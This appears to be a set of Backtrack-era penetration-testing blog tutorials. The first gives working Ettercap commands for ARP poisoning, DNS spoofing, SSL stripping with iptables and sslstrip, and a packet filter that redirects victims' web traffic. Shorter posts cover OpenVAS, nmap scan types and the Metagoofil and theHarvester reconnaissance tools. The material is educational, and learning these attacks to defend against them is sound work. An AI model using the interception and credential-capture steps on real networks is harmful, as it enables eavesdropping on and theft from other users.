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Ettercap Man-in-the-Middle Fun!

Ethernet is a broadcast system. Messages sent over Ethernet from any one computer are broadcasted allowing other computers in the network to view and potentially intercept information. This vulnerability is what allows hackers to sniff packets and perform Man-in-the-Middle attacks (an attack where a hacker manipulates packets between its source and destination). What’s worse is that companies spend a lot of effort to keep hackers out but not as much to prevent hacking from within a network. These link layer type of attacks are especially dangerous because of the lack of firewalls within a network.

One type of attack is known as ARP poisoning. ARP utilizes the fact that requests are broadcasted for an IP/MAC address resolution. In simplified terms, the resolution process consists of a device on a network  looking for a corresponding machine to a given address. It broadcasts ARP packets asking, who as this specific IP? The machine with that IP then responds, I do. A hacker can personally broadcast an ARP packet and poison all device stacks in the LAN, lying about its address and re-routing traffic. There isn’t any required authentication for ARP’s allowing this attack to be successful. The attacker can also reply to an ARP before the responding machines.

Other attacks/vulnerabilities performed on the link layer that take advantage of  broadcasts include:

  • CAM Table Exhaustion
  • ARP Spoofing
  • DHCP Starvation

Ettercap is an open-source tool used to perform man-in-the-middle attacks on a local area network. This tool will intercept packets coming between the user and gateway node, changing the content. I’ll go over just a few examples of the awesome crap it can do.

I do NOT advocate using this information malicious, it’s important to learn the attacks in order to protect against them!

ARP Sniffing

This attack monitors traffic. Hackers can ‘sniff’ or view incoming packets using this ettercap function. The screenshot below shows the ARP requests created when ettercap starts up.

Execution Command:

ettercap –TqM arp:remote /<Target IP Range>/ /<Gateway IP Range>/

Arp

DNS Hijacking

This attack will divert a machine to another DNS other than the one specified. Basically, the attack focuses on placing an entry into a computer’s DNS cache. This causes a DNS to map to an incorrect IP address. DNS hijacking exploits the lack of authentication DNS uses. If the server does not validate responses locally, an incorrect entry can be inserted.

First a device will make a request for a specific DNS entered by the user. The device will ask the DNS server for the resolved IP of a DNS. With the attack, the attacker answers instead of the DNS server. The requesting device will then cache the provided IP from the attacker to the DNS called for by the user. So instead of going to Google.com one can divert traffic to hack.com

Edit Configuration File:

  • Command:

vim /usr/local/share/ettercap/etter.dns (Location in Backtrack 5 R2)

  • Add entry:

<DNS> A <Directed IP>

Execution Command:

ettercap -TqP dns_spoof -M arp:remote /<Gateway IP Range>/ 
/<Target IP Range>/

SSL MitM

This attack intercepts SSL packets, instead of credentials being passed safely to a host, credentials are sent in clear-text to the attacker. This is especially villainous.

Change the ettercap configuration file:

  • Change
ec_uid = 0               # nobody is the default
ec_gid = 0                # nobody is the default
  • Uncomment # if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp 
--dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp 
--dport %port -j REDIRECT --to-port %rport"

Execution Commands:

  • Redirect requests on port 80:

sudo iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j

REDIRECT –to-port 10000

  • Verify entry in table:

sudo iptables –list -t nat

  • Enable forwarding:

sudo echo “1” > /proc/sys/net/ipv4/ip_forward

  • Run Ettercap:

ettercap –TqM arp /<Gateway IP Range>/ /<Target IP Range>/

  • Run sslstrip to block and hide certificate:

python /pentest/web/sslstrip/sslstrip.py –a -k –f

I got you Facebook user
I got you Facebook user

Filters

Filters can be created to manipulate packets to perform a desired function. The below filter monitors all packets and if it finds TCP traffic on port 80 it will manipulate the data. The first part of the filter will commit the encoding to plaintext. The second part of the filter will then report that the requested page has changed destinations and divert the user to a new destination page. The example below diverts all web requests to 192.168.200.201. ARPs are required to be performed on a local domain.

Filter Script

if (ip.proto == TCP && tcp.dst == 80){
     if (search(DATA.data, "Accept-Encoding")){
          replace("Accept-Encoding", "Accept-Rubbish!");
          msg("Zapped!");
     }
}
if (ip.proto == TCP && tcp.src == 80){
replace("200 OK", "301 Moved Permanently
Location: http://192.168.200.201/
");
msg("redirect success\n");
}

Command to compile filter:

Etterfilter <Filter Text> -o <Compiled Filter>

Execution Command:

ettercap -Tq -F <Filter> -M arp:remote /<Target IP Range>/ 
/<Gateway IP Range>/

filter
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OpenVAS Quick and Easy: Scheduling and Running Tasks

OpenVAS is a framework of several services and tools offering a comprehensive and powerful vulnerability scanning and vulnerability management solution” (http://www.openvas.org/).

So I’ve been using OpenVAS as an alternative to Nessus and I’ve actually been quite pleased with the tool. The initial installation was a little difficult (see post) but once up and running, it has been great. I haven’t been able to find a simple howto guide on the scanner so I have decided to write one from my own experience with OpenVAS server version 6 and the client tool GSAD version 3.03. I only provide this tutorial as a learning experience and I do not endorse illegal scanning activity.

  1. I used to GSAD web client interface to interact with OpenVAS once the tool was up and running (see post). I accessed the web interface at http://<OpenVAS IP Address>:<GSAD Port>.OpenVas Login
  2. Log into OpenVAS with credentials created during setup (see post). If you are unable to log in and you know your credentials are correct, its most likely your openVAS database is out-of-date. Try the following steps in a terminal window before attempting to login again:
    • Update the  openVAS database with the latest definition (This can take an hour or more.): openvasmd –update
    • Migrate the database (This can take an hour or more.): openvasmd –migrate
    • Rebuild one last time to be safe (This can take an hour or more.): openvasmd –rebuild
    • If your server date/time is off this could also cause a problem later on, to correct this you will have to first stop all openVAS processes then change the server date/time to the current. Lastly, you will need to repeat creating the necessary certificates and starting up all the openVAS tools similar to the installation process (see post).
  1. Upon a successful login, you will be greeted with a window of tasks scheduled and completed.OpenVAS Tasks
  2. So for a simple vulnerability scan, you will need to setup a target. This is the machine OpenVAS will scan. By default, the tool has localhost already configured as a target but I’m assuming you will want to scan machines other than the one running OpenVAS. To setup a target, hover over the Configuration tab then select Targets.
  3. In the next window, fill out the desired target fields. OpenVAS can be scheduled to scan one or more devices. This is determined by the Hosts field, you can either enter one IP address (x.x.x.x) for a singular host scan or a range of addresses (x.x.x.x-x.x.x.x) for a multiple host vulnerability scan. You may find your device can only handle scanning one IP at a time (This is what I found true on my Raspberry Pi). It is a best practice to always scan by IP addresses, a domain name can resolve to multiple hosts and provide conflicting results. In the picture below, I only entered into the form a target name and a singular IP address, everything else I left as default (you can experiment around with the settings for a more detailed scan). When you are finished entering in all the details, create the target by selecting the Create Target button.OpenVAS Target Creation
  4. The new target will be visible in the box below the form once successfully created. Make sure OpenVAS has a value under the IPs column. This is to ensure it found the target IP address or addresses.Targets
  5. Now it is time to create a task to scan the new target. Hover over the Scan Management tab then select New Task.
  6. Fill out the new task field with the desired task details. In the picture below, I only entered into the form a task name and selected a target to scan, everything else I left as default for a full and fast scan (you can experiment around with the settings for a more detailed scan). When you are finished entering in all the details, create the task by selecting the Create Task button. Task Setup
  7. The task will now appear in the task window and is ready to start. OpenVAS will not automatically start a task, you must select the green start icon under the Actions column in the task window to begin the scan. The other actions found in this column provide easy task management for when you want to start, pause or resume a task in order to pace server activity. New Target
  8. The scan will take a bit of time so be patient. If you want to view the progress of the scan, you can change the drop box settings above the task box to refresh ever X seconds and to no overrides. With these settings, the page will refresh every so often to notify you of the task progress under the Status column in the task box. Sometimes the task may stop itself, you can resume it by selecting the icon next to the start arrow under the Actions column.
  9. When the status of the scan shows Done, you can review the scan findings. Select the coordinating task date under the Last column. A summary of the report will be presented along with the capabilities to download a more detailed version of the report.OpenVAS Scan Results
  10. There you have it, you can review the findings in the report to learn of possible vulnerabilities in a host. Good luck!
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Scanning With Nmap

Nmap is an effective network-scanning tool that can be used for host and open port service discovery. It can be downloaded from here.

In my experiences, to find hidden services or special services, not located on common ports, the below scans can be used. Different services respond to different packet messages. The “-p” tag specifies a port range, it is not required. However, when I stated the range, I found more running services than when the range was not stated. My theory is nmap, on a basic scan will look at popular ports and not necessarily all ports when not stated.

  • Find UDP Services: nmap –sU <ADDRESS> –p1-6000
  • Basic Service Scan: nmap –v <ADDRESS> –p1-6000
  • Basic All Service Scan: nmap –A <ADDRESS> –p1-6000
  • Null port scan (Does not set and bits in the TCP flag header): nmap –sN <ADDRESS> –p1-6000
  • Fin port scans (Sets just the TCP FIN bit): nmap –sF <ADDRESS> –p1-6000
  • Christmas port scans (Sets the FIN, PSH and URG flags): nmap –sX <ADDRESS> –p1-6000
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Backtrack Metagoofil

This tool will use google to search a domain for given file types and extract the metadata to a viewable HTML file. It is part of the footprinting stages of penetration testing.

Command Use:

  1. cd /pentest/enumeration/google/metagoofil
  2. ./metagoofil.py –d <domain to search> -f <file type or all> -o <output html file name> -t <location to download files>
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Backtrack theHarvester

This tool is used to gather e-mail accounts, usernames, hostnames, subdomains from public sources such as google, bing and Linkedin. In penetration testing, this is part of performing enumeration or footprinting a network

Supported sources are:

  • Google – emails, subdomain and hostnames
  • Google profiles – locate employee names connected with the domain
  • Bing search – emails, subdomain, hostnames and virtual hosts
  • Linkedin – locate employee names connected with the domain
  • Exalead – emails, subdomain and hostnames

 Command Use:

  1. cd /pentest/enumeration/theharvestor
  2. ./theHarvester.py –d <target site> -l <max number of  returned results> –b <source of gathering, ex: google>